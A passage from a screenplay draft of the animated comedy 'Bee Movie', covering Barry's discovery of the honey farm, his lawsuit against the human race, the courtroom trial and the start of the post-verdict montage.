LAUGH. ANGLE ON: Barry REACTING. They arrive at the back of the shop where one of them opens a SMOKER BOX. FREDDY (CONT’D) Hey, check out the new smoker. "Bee Movie" - JS REVISIONS 8/13/07 60. ELMO Oh, Sweet. That’s the one you want. FREDDY The Thomas 3000. BARRY Smoker? FREDDY 90 puffs a minute, semi-automatic. Twice the nicotine, all the tar. They LAUGH again, nefariously. FREDDY (CONT’D) Couple of breaths of this, and it knocks them right out. They make the honey, and we make the money. BARRY “They make the honey, and we make the money?” Barry climbs onto the netting of Freddy’s hat. He climbs up to the brim and looks over the edge. He sees the apiary boxes as Freddy SMOKES them. BARRY (CONT'D) Oh my. As Freddy turns around, Barry jumps into an open apiary box, and into an apartment. HOWARD and FRAN are just coming to from the smoking. BARRY (CONT’D) What’s going on? Are you okay? HOWARD Yeah, it doesn’t last too long. HE COUGHS a few times. BARRY How did you two get here? Do you know you’re in a fake hive with fake walls? HOWARD (pointing to a picture on the wall) "Bee Movie" - JS REVISIONS 8/13/07 61. Our queen was moved here, we had no choice. BARRY (looking at a picture on the wall) This is your queen? That’s a man in women’s clothes. That’s a dragqueen! The other wall opens. Barry sees the hundreds of apiary boxes. BARRY (CONT'D) What is this? Barry pulls out his camera, and starts snapping. BARRY (CONT’D) Oh no. There’s hundreds of them. (V.O, as Barry takes pictures) Bee honey, our honey, is being brazenly stolen on a massive scale. CUT TO: SEQ. 2100 - “BARRY TELLS FAMILY” INT. BARRY’S PARENT’S HOUSE - LIVING ROOM - LATER Barry has assembled his parents, Adam, and Uncle Carl. BARRY This is worse than anything the bears have done to us. And I intend to do something about it. JANET BENSON Oh Barry, stop. MARTIN BENSON Who told you that humans are taking our honey? That’s just a rumor. BARRY Do these look like rumors? Barry throws the PICTURES on the table. Uncle Carl, cleaning his glasses with his shirt tail, digs through a bowl of nuts with his finger. "Bee Movie" - JS REVISIONS 8/13/07 62. HOWARD (CONT'D) UNCLE CARL That’s a conspiracy theory. These are obviously doctored photos. JANET BENSON Barry, how did you get mixed up in all this? ADAM (jumping up) Because he’s been talking to humans! JANET BENSON Whaaat? MARTIN BENSON Talking to humans?! Oh Barry. ADAM He has a human girlfriend and they make out! JANET BENSON Make out? Barry? BARRY We do not. ADAM You wish you could. BARRY Who’s side are you on? ADAM The bees! Uncle Carl stands up and pulls his pants up to his chest. UNCLE CARL I dated a cricket once in San Antonio. Man, those crazy legs kept me up all night. Hotcheewah! JANET BENSON Barry, this is what you want to do with your life? BARRY This is what I want to do for all our lives. Nobody works harder than bees. "Bee Movie" - JS REVISIONS 8/13/07 63. Dad, I remember you coming home some nights so overworked, your hands were still stirring. You couldn’t stop them. MARTIN BENSON Ehhh... JANET BENSON (to Martin) I remember that. BARRY What right do they have to our hardearned honey? We’re living on two cups a year. They’re putting it in lip balm for no reason what-soever. MARTIN BENSON Even if it’s true, Barry, what could one bee do? BARRY I’m going to sting them where it really hurts. MARTIN BENSON In the face? BARRY No. MARTIN BENSON In the eye? That would really hurt. BARRY No. MARTIN BENSON Up the nose? That’s a killer. BARRY No. There’s only one place you can sting the humans. One place where it really matters. CUT TO: SEQ. 2300 - “HIVE AT 5 NEWS/BEE LARRY KING” "Bee Movie" - JS REVISIONS 8/13/07 64. BARRY (CONT'D) INT. NEWS STUDIO - DAY DRAMATIC NEWS MUSIC plays as the opening news sequence rolls. We see the “Hive at Five” logo, followed by shots of past news events: A BEE freeway chase, a BEE BEARD protest rally, and a BEAR pawing at the hive as the BEES flee in panic. BOB BUMBLE (V.O.) Hive at Five, the hive’s only full hour action news source... SHOTS of NEWSCASTERS flash up on screen. BOB BUMBLE (V.O.) (CONT'D) With Bob Bumble at the anchor desk... BOB has a big shock of anchorman hair, gray temples and overly white teeth. BOB BUMBLE (V.O.) (CONT'D) ...weather with Storm Stinger, sports with Buzz Larvi, and Jeanette Chung. JEANETTE is an Asian bee. BOB BUMBLE (CONT'D) Good evening, I’m Bob Bumble. JEANETTE CHUNG And I’m Jeanette Chung. BOB BUMBLE Our top story, a tri-county bee, Barry Benson... INSERT: Barry’s graduation picture. BOB BUMBLE (CONT'D) ...is saying he intends to sue the human race for stealing our honey, packaging it, and profiting from it illegally. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 65. INT. BEENN STUDIO - BEE LARRY KING LIVE BEE LARRY KING, wearing suspenders and glasses, is interviewing Barry. A LOWER-THIRD CHYRON reads: “Bee Larry King Live.” BEE LARRY KING Don’t forget, tomorrow night on Bee Larry King, we are going to have three former Queens all right here in our studio discussing their new book, “Classy Ladies,” out this week on Hexagon. (to Barry) Tonight, we’re talking to Barry Benson. Did you ever think, I’m just a kid from the hive, I can’t do this? BARRY Larry, bees have never been afraid to change the world. I mean, what about Bee-Columbus? Bee-Ghandi? Be-geesus? BEE LARRY KING Well, where I’m from you wouldn’t think of suing humans. We were thinking more like stick ball, candy stores. BARRY How old are you? BEE LARRY KING I want you to know that the entire bee community is supporting you in this case, which is certain to be the trial of the bee century. BARRY Thank you, Larry. You know, they have a Larry King in the human world, too. BEE LARRY KING It’s a common name. Next week on Bee Larry King... "Bee Movie" - JS REVISIONS 8/13/07 66. BARRY No, I mean he looks like you. And he has a show with suspenders and different colored dots behind him. BEE LARRY KING Next week on Bee Larry King... BARRY Old guy glasses, and there’s quotes along the bottom from the guest you’re watching even though you just heard them... BEE LARRY KING Bear week next week! They’re scary, they’re hairy, and they’re here live. Bee Larry King EXITS. BARRY Always leans forward, pointy shoulders, squinty eyes... (lights go out) Very Jewish. CUT TO: SEQ. 2400 - “FLOWER SHOP” INT. VANESSA’S FLOWER SHOP - NIGHT Stacks of law books are piled up, legal forms, etc. Vanessa is talking with Ken in the other room. KEN Look, in tennis, you attack at the point of weakness. VANESSA But it was my grandmother, Ken. She’s 81. KEN Honey, her backhand’s a joke. I’m not going to take advantage of that? "Bee Movie" - JS REVISIONS 8/13/07 67. BARRY (O.C) Quiet please. Actual work going on here. KEN Is that that same bee? BARRY (O.C) Yes it is. VANESSA I’m helping him sue the human race. KEN What? Barry ENTERS. BARRY Oh, hello. KEN Hello Bee. Barry flies over to Vanessa. VANESSA This is Ken. BARRY Yeah, I remember you. Timberland, size 10 1/2, Vibram sole I believe. KEN Why does he talk again, Hun? VANESSA (to Ken, sensing the tension) Listen, you’d better go because we’re really busy working. KEN But it’s our yogurt night. VANESSA (pushing him out the door) Oh...bye bye. She CLOSES the door. KEN Why is yogurt night so difficult?! "Bee Movie" - JS REVISIONS 8/13/07 68. Vanessa ENTERS the back room carrying coffee. VANESSA Oh you poor thing, you two have been at this for hours. BARRY Yes, and Adam here has been a huge help. ANGLE ON: A EMPTY CINNABON BOX with Adam asleep inside, covered in frosting. VANESSA How many sugars? BARRY Just one. I try not to use the competition. So, why are you helping me, anyway? VANESSA Bees have good qualities. BARRY (rowing on the sugar cube like a gondola) Si, Certo. VANESSA And it feels good to take my mind off the shop. I don’t know why, instead of flowers, people are giving balloon bouquets now. BARRY Yeah, those are great...if you’re 3. VANESSA And artificial flowers. BARRY (re: plastic flowers) Oh, they just get me psychotic! VANESSA Yeah, me too. BARRY The bent stingers, the pointless pollination. "Bee Movie" - JS REVISIONS 8/13/07 69. VANESSA Bees must hate those fake plastic things. BARRY There’s nothing worse than a daffodil that’s had work done. VANESSA (holding up the lawsuit documents) Well, maybe this can make up for it a little bit. CUT TO: EXT. VANESSA’S FLORIST SHOP They EXIT the store, and cross to the mailbox. VANESSA You know Barry, this lawsuit is a pretty big deal. BARRY I guess. VANESSA Are you sure that you want to go through with it? BARRY Am I sure? (kicking the envelope into the mailbox) When I’m done with the humans, they won’t be able to say, “Honey, I’m home,” without paying a royalty. CUT TO: SEQ. 2700 - “MEET MONTGOMERY” EXT. MANHATTAN COURTHOUSE - DAY P.O.V SHOT - A camera feed turns on, revealing a newsperson. "Bee Movie" - JS REVISIONS 8/13/07 70. PRESS PERSON #2 (talking to camera) Sarah, it’s an incredible scene here in downtown Manhattan where all eyes and ears of the world are anxiously waiting, because for the first time in history, we’re going to hear for ourselves if a honey bee can actually speak. ANGLE ON: Barry, Vanessa, and Adam getting out of the cab. The press spots Barry and Vanessa and pushes in. Adam sits on Vanessa’s shoulder. INT. COURTHOUSE - CONTINUOUS Barry, Vanessa, and Adam sit at the Plaintiff’s Table. VANESSA (turns to Barry) What have we gotten into here, Barry? BARRY I don’t know, but it’s pretty big, isn’t it? ADAM I can’t believe how many humans don’t have to be at work during the day. BARRY Hey, you think these billion dollar multinational food companies have good lawyers? CUT TO: EXT. COURTHOUSE STEPS - CONTINUOUS A BIG BLACK CAR pulls up. ANGLE ON: the grill filling the frame. We see the “L.T.M” monogram on the hood ornament. The defense lawyer, LAYTON T. MONTGOMERY comes out, squashing a bug on the pavement. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 71. INT. COURTHOUSE - CONTINUOUS Barry SHUDDERS. VANESSA What’s the matter? BARRY I don’t know. I just got a chill. Montgomery ENTERS. He walks by Barry’s table shaking a honey packet. MONTGOMERY Well, if it isn’t the B-Team. (re: the honey packet) Any of you boys work on this? He CHUCKLES. The JUDGE ENTERS. SEQ. 3000 - “WITNESSES” BAILIFF All rise! The Honorable Judge Bumbleton presiding. JUDGE (shuffling papers) Alright...Case number 4475, Superior Court of New York. Barry Bee Benson vs. the honey industry, is now in session. Mr. Montgomery, you are representing the five major food companies, collectively. ANGLE ON: Montgomery’s BRIEFCASE. It has an embossed emblem of an EAGLE, holding a gavel in one talon and a briefcase in the other. MONTGOMERY A privilege. JUDGE Mr. Benson. Barry STANDS. JUDGE (CONT’D) You are representing all bees of the world? "Bee Movie" - JS REVISIONS 8/13/07 72. Montgomery, the stenographer, and the jury lean in. CUT TO: EXT. COURTHOUSE - CONTINUOUS The spectators outside freeze. The helicopters angle forward to listen closely. CUT TO: INT. COURTHOUSE BARRY Bzzz bzzz bzzz...Ahh, I’m kidding, I’m kidding. Yes, your honor. We are ready to proceed. ANGLE ON: Courtroom hub-bub. JUDGE And Mr. Montgomery, your opening statement, please. Montgomery rises. MONTGOMERY (grumbles, clears his throat) Ladies and gentlemen of the jury. My grandmother was a simple woman. Born on a farm, she believed it was man's divine right to benefit from the bounty of nature God put before us. If we were to live in the topsy-turvy world Mr. Benson imagines, just think of what it would mean. Maybe I would have to negotiate with the silk worm for the elastic in my britches. Talking bee. How do we know this isn’t some sort of holographic motion picture capture Hollywood wizardry? They could be using laser beams, robotics, ventriloquism, cloning...for all we know he could be on steroids! Montgomery leers at Barry, who moves to the stand. "Bee Movie" - JS REVISIONS 8/13/07 73. JUDGE Mr. Benson? Barry makes his opening statement. BARRY Ladies and Gentlemen of the jury, there’s no trickery here. I’m just an ordinary bee. And as a bee, honey’s pretty important to me. It’s important to all bees. We invented it, we make it, and we protect it with our lives. Unfortunately, there are some people in this room who think they can take whatever they want from us cause we’re the little guys. And what I’m hoping is that after this is all over, you’ll see how by taking our honey, you’re not only taking away everything we have, but everything we are. ANGLE ON: Vanessa smiling. ANGLE ON: The BEE GALLERY wiping tears away. CUT TO: INT. BENSON HOUSE Barry’s family is watching the case on TV. JANET BENSON Oh, I wish he would dress like that all the time. So nice... CUT TO: INT. COURTROOM - LATER JUDGE Call your first witness. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 74. INT. COURTHOUSE - LATER BARRY So, Mr. Klauss Vanderhayden of Honey Farms. Pretty big company you have there? MR. VANDERHAYDEN I suppose so. BARRY And I see you also own HoneyBurton, and Hon-Ron. MR. VANDERHAYDEN Yes. They provide beekeepers for our farms. BARRY Beekeeper. I find that to be a very disturbing term, I have to say. I don’t imagine you employ any bee free-ers, do you? MR. VANDERHAYDEN No. BARRY I’m sorry. I couldn’t hear you. MR. VANDERHAYDEN (louder) No. BARRY No. Because you don’t free bees. You keep bees. And not only that, it seems you thought a bear would be an appropriate image for a jar of honey? MR. VANDERHAYDEN Well, they’re very lovable creatures. Yogi-bear, Fozzy-bear, Build-a-bear. BARRY Yeah, you mean like this?! Vanessa and the SUPERINTENDANT from her building ENTER with a GIANT FEROCIOUS GRIZZLY BEAR. He has a neck collar and chains extending from either side. "Bee Movie" - JS REVISIONS 8/13/07 75. By pulling the chains, they bring him directly in front of Vanderhayden. The bear LUNGES and ROARS. BARRY (CONT'D) Bears kill bees! How would you like his big hairy head crashing into your living room? Biting into your couch, spitting out your throwpillows...rowr, rowr! The bear REACTS. BEAR Rowr!! BARRY Okay, that’s enough. Take him away. Vanessa and the Superintendant pull the bear out of the courtroom. Vanderhayden TREMBLES. The judge GLARES at him. CUT TO: INT. COURTROOM- A LITTLE LATER Barry questions STING. BARRY So, Mr. Sting. Thank you for being here. Your name intrigues me, I have to say. Where have I heard it before? STING I was with a band called "The Police". BARRY But you've never been a police officer of any kind, have you? STING No, I haven't. "Bee Movie" - JS REVISIONS 8/13/07 76. BARRY No, you haven’t. And so, here we have yet another example of bee culture being casually stolen by a human for nothing more than a prance-about stage name. STING Oh please. BARRY Have you ever been stung, Mr. Sting? Because I'm feeling a little stung, Sting. Or should I say, (looking in folder) Mr. Gordon M. Sumner? The jury GASPS. MONTGOMERY (to his aides) That’s not his real name? You idiots! CUT TO: INT. COURTHOUSE- LATER BARRY Mr. Liotta, first may I offer my belated congratulations on your Emmy win for a guest spot on E.R. in 2005. LIOTTA Thank you. Thank you. Liotta LAUGHS MANIACALLY. BARRY I also see from your resume that you’re devilishly handsome, but with a churning inner turmoil that’s always ready to blow. LIOTTA I enjoy what I do. Is that a crime? "Bee Movie" - JS REVISIONS 8/13/07 77. BARRY Not yet it isn’t. But is this what it’s come to for you, Mr. Liotta? Exploiting tiny helpless bees so you don’t have to rehearse your part, and learn your lines, Sir? LIOTTA Watch it Benson, I could blow right now. BARRY This isn’t a goodfella. This is a badfella! LIOTTA (exploding, trying to smash Barry with the Emmy) Why doesn’t someone just step on this little creep and we can all go home? You’re all thinking it. Say it! JUDGE Order! Order in this courtroom! A MONTAGE OF NEWSPAPER HEADLINES FOLLOWS: NEW YORK POST: “Bees to Humans: Buzz Off”. NEW YORK TELEGRAM: “Sue Bee”. DAILY VARIETY: “Studio Dumps Liotta Project. Slams Door on Unlawful Entry 2.” CUT TO: SEQ. 3175 - “CANDLELIGHT DINNER” INT. VANESSA’S APARTMENT Barry and Vanessa are having a candle light dinner. Visible behind Barry is a “LITTLE MISSY” SET BOX, with the flaps open. BARRY Well, I just think that was awfully nice of that bear to pitch in like that. "Bee Movie" - JS REVISIONS 8/13/07 78. VANESSA I’m telling you, I think the jury’s on our side. BARRY Are we doing everything right...you know, legally? VANESSA I’m a florist. BARRY Right, right. Barry raises his glass. BARRY (CONT’D) Well, here’s to a great team. VANESSA To a great team. They toast. Ken ENTERS KEN Well hello. VANESSA Oh...Ken. BARRY Hello. VANESSA I didn’t think you were coming. KEN No, I was just late. I tried to call. But, (holding his cell phone) the battery... VANESSA I didn’t want all this to go to waste, so I called Barry. Luckily he was free. BARRY Yeah. KEN (gritting his teeth) Oh, that was lucky. "Bee Movie" - JS REVISIONS 8/13/07 79. VANESSA Well, there’s still a little left. I could heat it up. KEN Yeah, heat it up. Sure, whatever. Vanessa EXITS. Ken and Barry look at each other as Barry eats. BARRY So, I hear you’re quite a tennis player. I’m not much for the game myself. I find the ball a little grabby. KEN That’s where I usually sit. Right there. VANESSA (O.C) Ken, Barry was looking at your resume, and he agreed with me that “eating with chopsticks” isn’t really a special skill. KEN (to Barry) You think I don’t see what you’re doing? BARRY Hey look, I know how hard it is trying to find the right job. We certainly have that in common. KEN Do we? BARRY Well, bees have 100% employment, of course. But we do jobs like taking the crud out. KEN That’s just what I was thinking about doing. Ken holds his table knife up. It slips out of his hand. He goes under the table to pick it up. "Bee Movie" - JS REVISIONS 8/13/07 80. VANESSA Ken, I let Barry borrow your razor for his fuzz. I hope that was alright. Ken hits his head on the table. BARRY I’m going to go drain the old stinger. KEN Yeah, you do that. Barry EXITS to the bathroom, grabbing a small piece of a VARIETY MAGAZINE on the way. BARRY Oh, look at that. Ken slams the champagne down on the table. Ken closes his eyes and buries his face in his hands. He grabs a magazine on the way into the bathroom. SEQ. 2800 - “BARRY FIGHTS KEN” INT. BATHROOM - CONTINUOUS Ken ENTERS, closes the door behind him. He’s not happy. Barry is washing his hands. He glances back at Ken. KEN You know, I’ve just about had it with your little mind games. BARRY What’s that? KEN Italian Vogue. BARRY Mamma Mia, that’s a lot of pages. KEN It’s a lot of ads. BARRY Remember what Van said. Why is your life any more valuable than mine? "Bee Movie" - JS REVISIONS 8/13/07 81. KEN It’s funny, I just can’t seem to recall that! Ken WHACKS at Barry with the magazine. He misses and KNOCKS EVERYTHING OFF THE VANITY. Ken grabs a can of AIR FRESHENER. KEN (CONT'D) I think something stinks in here. He sprays at Barry. BARRY I love the smell of flowers. KEN Yeah? How do you like the smell of flames? Ken lights the stream. BARRY Not as much. Barry flies in a circle. Ken, trying to stay with him, spins in place. ANGLE ON: Flames outside the bathroom door. Ken slips on the Italian Vogue, falls backward into the shower, pulling down the shower curtain. The can hits him in the head, followed by the shower curtain rod, and the rubber duck. Ken reaches back, grabs the handheld shower head. He whips around, looking for Barry. ANGLE ON: A WATERBUG near the drain. WATERBUG Waterbug. Not taking sides. Barry is on the toilet tank. He comes out from behind a shampoo bottle, wearing a chapstick cap as a helmet. BARRY Ken, look at me! I’m wearing a chapstick hat. This is pathetic. ANGLE ON: Ken turning the hand shower nozzle from “GENTLE”, to “TURBO”, to “LETHAL”. "Bee Movie" - JS REVISIONS 8/13/07 82. KEN I’ve got issues! Ken fires the water at Barry, knocking him into the toilet. The items from the vanity (emory board, lipstick, eye curler, etc.) are on the toilet seat. Ken looks down at Barry. KEN (CONT'D) Well well well, a royal flush. BARRY You’re bluffing. KEN Am I? Ken flushes the toilet. Barry grabs the Emory board and uses it to surf. He puts his hand in the water while he’s surfing. Some water splashes on Ken. BARRY Surf’s up, dude! KEN Awww, poo water! He does some skate board-style half-pipe riding. Barry surfs out of the toilet. BARRY That bowl is gnarly. Ken tries to get a shot at him with the toilet brush. KEN Except for those dirty yellow rings. Vanessa ENTERS. VANESSA Kenneth! What are you doing? KEN You know what? I don’t even like honey! I don’t eat it! VANESSA We need to talk! "Bee Movie" - JS REVISIONS 8/13/07 83. She pulls Ken out by his ear. Ken glares at Barry. CUT TO: INT. HALLWAY - CONTINUOUS VANESSA He’s just a little bee. And he happens to be the nicest bee I’ve met in a long time. KEN Long time? What are you talking about? Are there other bugs in your life? VANESSA No, but there are other things bugging me in life. And you’re one of them! KEN Fine! Talking bees, no yogurt night...my nerves are fried from riding on this emotional rollercoaster. VANESSA Goodbye, Ken. KEN Augh! VANESSA Whew! Ken EXITS, then re-enters frame. KEN And for your information, I prefer sugar-free, artificial sweeteners, made by man! He EXITS again. The DOOR SLAMS behind him. VANESSA (to Barry) I’m sorry about all that. Ken RE-ENTERS. "Bee Movie" - JS REVISIONS 8/13/07 84. KEN I know it’s got an aftertaste! I like it! BARRY (re: Ken) I always felt there was some kind of barrier between Ken and me. (puts his hands in his pockets) I couldn’t overcome it. Oh well. VANESSA Are you going to be okay for the trial tomorrow? BARRY Oh, I believe Mr. Montgomery is about out of ideas. CUT TO: SEQ. 3300 - “ADAM STINGS MONTY” INT. COURTROOM - NEXT DAY ANGLE ON: Medium shot of Montgomery standing at his table. MONTGOMERY We would like to call Mr. Barry Benson Bee to the stand. ADAM (whispering to Vanessa) Now that’s a good idea. (to Barry) You can really see why he’s considered one of the very best lawyers-- Oh. Barry rolls his eyes. He gets up, takes the stand. A juror in a striped shirt APPLAUDS. MR. GAMMIL (whispering) Layton, you’ve got to weave some magic with this jury, or it’s going to be all over. Montgomery is holding a BOOK, “The Secret Life of Bees”. "Bee Movie" - JS REVISIONS 8/13/07 85. MONTGOMERY (confidently whispering) Oh, don’t worry Mr. Gammil. The only thing I have to do to turn this jury around is to remind them of what they don’t like about bees. (to Gammil) You got the tweezers? Mr. Gammil NODS, and pats his breast pocket. MR. GAMMIL Are you allergic? MONTGOMERY Only to losing, son. Only to losing. Montgomery approaches the stand. MONTGOMERY (CONT’D) Mr. Benson Bee. I’ll ask you what I think we’d all like to know. What exactly is your relationship to that woman? Montgomery points to Vanessa. BARRY We’re friends. MONTGOMERY Good friends? BARRY Yes. MONTGOMERY (softly in Barry’s face) How good? BARRY What? MONTGOMERY Do you live together? BARRY Wait a minute, this isn’t about-- "Bee Movie" - JS REVISIONS 8/13/07 86. MONTGOMERY Are you her little... (clearing throat) ... bed bug? BARRY (flustered) Hey, that’s not the kind of-- MONTGOMERY I’ve seen a bee documentary or two. Now, from what I understand, doesn’t your Queen give birth to all the bee children in the hive? BARRY Yeah, but-- MONTGOMERY So those aren’t even your real parents! ANGLE ON: Barry’s parents. MARTIN BENSON Oh, Barry. BARRY Yes they are! ADAM Hold me back! Vanessa holds him back with a COFFEE STIRRER. Montgomery points to Barry’s parents. MONTGOMERY You’re an illegitimate bee, aren’t you Benson? ADAM He’s denouncing bees! All the bees in the courtroom start to HUM. They’re agitated. MONTGOMERY And don’t y’all date your cousins? "Bee Movie" - JS REVISIONS 8/13/07 87. VANESSA (standing, letting go of Adam) Objection! Adam explodes from the table and flies towards Montgomery. ADAM I’m going to pin cushion this guy! Montgomery turns around and positions himself by the judge’s bench. He sticks his butt out. Montgomery winks at his team. BARRY Adam, don’t! It’s what he wants! Adam shoves Barry out of the way. Adam STINGS Montgomery in the butt. The jury REACTS, aghast. MONTGOMERY Ow! I’m hit! Oh, lordy, I am hit! The judge BANGS her gavel. JUDGE Order! Order! Please, Mr. Montgomery. MONTGOMERY The venom! The venom is coursing through my veins! I have been felled by a wing-ed beast of destruction. You see? You can’t treat them like equals. They’re strip-ed savages! Stinging’s the only thing they know! It’s their way! ANGLE ON: Adam, collapsed on the floor. Barry rushes to his side. BARRY Adam, stay with me. ADAM I can’t feel my legs. Montgomery falls on the Bailiff. BAILIFF Take it easy. "Bee Movie" - JS REVISIONS 8/13/07 88. MONTGOMERY Oh, what angel of mercy will come forward to suck the poison from my heaving buttocks? The JURY recoils. JUDGE Please, I will have order in this court. Order! Order, please! FADE TO: SEQ. 3400 - “ADAM AT HOSPITAL” INT. HOSPITAL - STREET LEVEL ROOM - DAY PRESS PERSON #1 (V.O) The case of the honey bees versus the human race took a pointed turn against the bees yesterday, when one of their legal team stung Layton T. Montgomery. Now here’s Don with the 5-day. A NURSE lets Barry into the room. Barry CARRIES a FLOWER. BARRY Thank you. Barry stands over Adam, in a bed. Barry lays the flower down next to him. The TV is on. BARRY (CONT'D) Hey buddy. ADAM Hey. BARRY Is there much pain? Adam has a BEE-SIZED PAINKILLER HONEY BUTTON near his head that he presses. ADAM (pressing the button) Yeah...I blew the whole case, didn’t I? "Bee Movie" - JS REVISIONS 8/13/07 89. BARRY Oh, it doesn’t matter. The important thing is you’re alive. You could have died. ADAM I’d be better off dead. Look at me. Adam THROWS the blanket off his lap, revealing a GREEN SANDWICH SWORD STINGER. ADAM (CONT’D) (voice cracking) They got it from the cafeteria, they got it from downstairs. In a tuna sandwich. Look, there’s a little celery still on it. BARRY What was it like to sting someone? ADAM I can’t explain it. It was all adrenaline...and then...ecstasy. Barry looks at Adam. BARRY Alright. ADAM You think that was all a trap? BARRY Of course. I’m sorry. I flew us right into this. What were we thinking? Look at us, we’re just a couple of bugs in this world. ADAM What do you think the humans will do to us if they win? BARRY I don’t know. ADAM I hear they put the roaches in motels. That doesn’t sound so bad. "Bee Movie" - JS REVISIONS 8/13/07 90. BARRY Adam, they check in, but they don’t check out. Adam GULPS. ADAM Oh my. ANGLE ON: the hospital window. We see THREE PEOPLE smoking outside on the sidewalk. The smoke drifts in. Adam COUGHS. ADAM (CONT’D) Say, could you get a nurse to close that window? BARRY Why? ADAM The smoke. Bees don’t smoke. BARRY Right. Bees don’t smoke. Bees don’t smoke! But some bees are smoking. Adam, that’s it! That’s our case. Adam starts putting his clothes on. ADAM It is? It’s not over? BARRY No. Get up. Get dressed. I’ve got to go somewhere. You get back the court and stall. Stall anyway you can. CUT TO: SEQ. 3500 - “SMOKING GUN” INT. COURTROOM - THE NEXT DAY Adam is folding a piece of paper into a boat. ADAM ...and assuming you’ve done step 29 correctly, you’re ready for the tub. "Bee Movie" - JS REVISIONS 8/13/07 91. ANGLE ON: The jury, all with paper boats of their own. JURORS Ooh. ANGLE ON: Montgomery frustrated with Gammil, who’s making a boat also. Monty crumples Gammil’s boat, and throws it at him. JUDGE Mr. Flayman? ADAM Yes? Yes, Your Honor? JUDGE Where is the rest of your team? ADAM (fumbling with his swordstinger) Well, your honor, it’s interesting. You know Bees are trained to fly kind of haphazardly and as a result quite often we don’t make very good time. I actually once heard a pretty funny story about a bee-- MONTGOMERY Your Honor, haven’t these ridiculous bugs taken up enough of this court’s valuable time? Montgomery rolls out from behind his table. He’s suspended in a LARGE BABY CHAIR with wheels. MONTGOMERY (CONT'D) How much longer are we going to allow these absurd shenanigans to go on? They have presented no compelling evidence to support their charges against my clients who have all run perfectly legitimate businesses. I move for a complete dismissal of this entire case. JUDGE Mr. Flayman, I am afraid I am going to have to consider Mr. Montgomery’s motion. "Bee Movie" - JS REVISIONS 8/13/07 92. ADAM But you can’t. We have a terrific case. MONTGOMERY Where is your proof? Where is the evidence? Show me the smoking gun. Barry bursts through the door. BARRY Hold it, your honor. You want a smoking gun? Here is your smoking gun. Vanessa ENTERS, holding a bee smoker Vanessa slams the beekeeper's SMOKER onto the judge’s bench. JUDGE What is that? BARRY It’s a Bee smoker. Montgomery GRABS the smoker. MONTGOMERY What, this? This harmless little contraption? This couldn’t hurt a fly, let alone a bee. He unintentionally points it towards the bee gallery, KNOCKING THEM ALL OUT. The jury GASPS. The press SNAPS pictures of them. BARRY Members of the jury, look at what has happened to bees who have never been asked, "Smoking or Non?" Is this what nature intended for us? To be forcibly addicted to these smoke machines in man-made wooden slat work camps? Living out our lives as honey slaves to the white man? Barry gestures dramatically towards Montgomery's racially mixed table. The BLACK LAWYER slowly moves his chair away. GAMMIL What are we going to do? "Bee Movie" - JS REVISIONS 8/13/07 93. MONTGOMERY (to Pross) He's playing the species card. Barry lands on the scale of justice, by the judge’s bench. It balances as he lands. BARRY Ladies and gentlemen, please, FreeThese-Bees! ANGLE ON: Jury, chanting "Free the bees". JUDGE The court finds in favor of the bees. The chaos continues. Barry flies over to Vanessa, with his hand up for a “high 5”. BARRY Vanessa, we won! VANESSA Yay! I knew you could do it. Highfive! She high 5’s Barry, sending him crashing to the table. He bounces right back up. VANESSA (CONT'D) Oh, sorry. BARRY Ow!! I’m okay. Vanessa, do you know what this means? All the honey is finally going to belong to the bees. Now we won’t have to work so hard all the time. Montgomery approaches Barry, surrounded by the press. The cameras and microphones go to Montgomery. MONTGOMERY (waving a finger) This is an unholy perversion of the balance of nature, Benson! You’ll regret this. ANGLE ON: Barry’s ‘deer in headlights’ expression, as the press pushes microphones in his face. "Bee Movie" - JS REVISIONS 8/13/07 94. PRESS PERSON 1 Barry, how much honey do you think is out there? BARRY Alright, alright, one at a time... SARAH Barry, who are you wearing? BARRY Uhhh, my sweater is Ralph Lauren, and I have no pants. The Press follows Barry as he EXITS. ANGLE ON: Adam and Vanessa. ADAM (putting papers away) What if Montgomery’s right? VANESSA What do you mean? ADAM We’ve been living the bee way a long time. 27 million years. DISSOLVE TO: SEQ. 3600 - “HONEY ROUNDUP” EXT. HONEY FARMS APIARY - MONTAGE SARAH (V.O) Congratulations on your victory. What are you going to demand as a settlement? BARRY (V.O) (over montage) First, we’re going to demand a complete shutdown of all bee work camps. Then, we want to get back all the honey that was ours to begin with. Every last drop. We demand an end to the glorification of the bear as anything more than a filthy, smelly, big-headed, bad breath, stink-machine. "Bee Movie" - JS REVISIONS 8/13/07 95. I believe we’re all aware of what they do in the woods. We will no longer tolerate derogatory beenegative nick-names, unnecessary inclusion of honey in bogus health products, and la-dee-da tea-time human snack garnishments. MONTAGE IMAGES: Close-up on an ATF JACKET, with the YELLOW LETTERS. Camera pulls back. We see an ARMY OF BEE AND HUMAN AGENTS wearing hastily made “Alcohol, Tobacco, Firearms, and Honey” jackets. Barry supervises. The gate to Honey Farms is locked permanently. All the smokers are collected and locked up. All the bees leave the Apiary. CUT TO: EXT. ATF OUTSIDE OF SUPERMARKET - MONTAGE Agents begin YANKING honey off the supermarket shelves, and out of shopping baskets. CUT TO: EXT. NEW HIVE CITY - MONTAGE The bees tear down a honey-bear statue. CUT TO: EXT. YELLOWSTONE FOREST - MONTAGE POV of a sniper’s crosshairs. An animated BEAR character looka-like, turns his head towards camera. BARRY Wait for my signal. ANGLE ON: Barry lowering his binoculars. BARRY (CONT'D) Take him out. The sniper SHOOTS the bear. It hits him in the shoulder. The bear looks at it. He gets woozy and the honey jar falls out of his lap, an ATF&H agent catches it. "Bee Movie" - JS REVISIONS 8/13/07 96. BARRY (V.O) (CONT'D) ATF&H AGENT (to the bear’s pig friend) He’ll have a little nausea for a few hours, then he’ll be fine. CUT TO: EXT. STING’S HOUSE - MONTAGE ATF&H agents SLAP CUFFS on Sting, who is meditating. STING But it’s just a prance-about stage name! CUT TO: INT. A WOMAN’S SHOWER - MONTAGE A WOMAN is taking a shower, and using honey shampoo. An ATF&H agent pulls the shower curtain aside, and grabs her bottle of shampoo. The woman SCREAMS. The agent turns to the 3 other agents, and Barry. ANGLE ON: Barry looking at the label on the shampoo bottle, shaking his head and writing in his clipboard. CUT TO: EXT. SUPERMARKET CAFE - MONTAGE Another customer, an old lady having her tea with a little jar of honey, gets her face pushed down onto the table and turned to the side by two agents. One of the agents has a gun on her. OLD LADY Can’t breathe. CUT TO: EXT. CENTRAL PARK - MONTAGE An OIL DRUM of honey is connected to Barry’s hive. "Bee Movie" - JS REVISIONS 8/13/07 97. BARRY Bring it in, boys. CUT TO: SEQ. 3650 - 